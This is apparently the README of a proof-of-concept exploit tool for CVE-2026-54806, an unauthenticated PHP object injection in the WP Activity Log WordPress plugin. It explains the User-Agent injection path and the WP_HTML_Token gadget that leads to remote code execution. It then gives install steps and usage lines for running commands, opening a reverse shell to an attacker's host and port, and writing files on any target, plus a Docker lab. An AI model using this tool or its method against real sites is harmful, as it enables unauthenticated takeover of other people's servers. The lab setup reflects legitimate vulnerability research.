WP Activity Log PHP Object Injection (CVE-2026-54806) PoC

📜 Description

CVE-2026-54806 is a critical (CVSS 9.8) unauthenticated PHP Object Injection vulnerability in the WP Activity Log WordPress plugin (wp-security-audit-log) by Melapress. An unauthenticated attacker can inject serialized PHP objects via the User-Agent header on any request that triggers a logged event (e.g. a failed login). The injected payload is stored in the database and deserialized without restrictions when an admin visits the WordPress dashboard, leading to blind remote code execution (no output returned to the attacker).

Affected plugin: WP Activity Log <= 5.6.3.1 (fixed in 5.6.4)

Required for RCE: WordPress 6.4.0 - 6.4.1 — this PoC uses the WP_HTML_Token gadget, the only WP core chain with all-public properties that survives sanitize_text_field() and fits the 255-char column limit.

✨ Features

• Vulnerability check — Non-destructive detection via --check
• Command execution — Inject commands via --command
• Reverse shell — Inject reverse shell via --shell
• File write — Write files via --write-file
• No authentication required — Payload injected via failed login User-Agent
• Blind RCE — No command output returned; use reverse shell or file write for interaction

🛠️ Installation

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

⚙️ Usage

python3 cve-2026-54806.py -t <target> --check
python3 cve-2026-54806.py -t <target> --command <cmd>
python3 cve-2026-54806.py -t <target> --shell --lhost <ip> --lport <port>
python3 cve-2026-54806.py -t <target> --write-file <content> <path>

🐋 Docker PoC

Self-contained lab with WordPress 6.4.1 + WP Activity Log 5.6.3.1. Check DOCKER.md for details.

cd docker
docker compose up -d
python3 cve-2026-54806.py -t http://localhost:8080 --check

The lab includes an admin-bot that visits the dashboard every 60s, so injected payloads fire automatically — no manual interaction needed.

🕵🏼 References

• WP Activity Log — Melapress
• NVD — CVE-2026-54806
• Patchstack — CVE-2026-54806

📢 Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by this tool.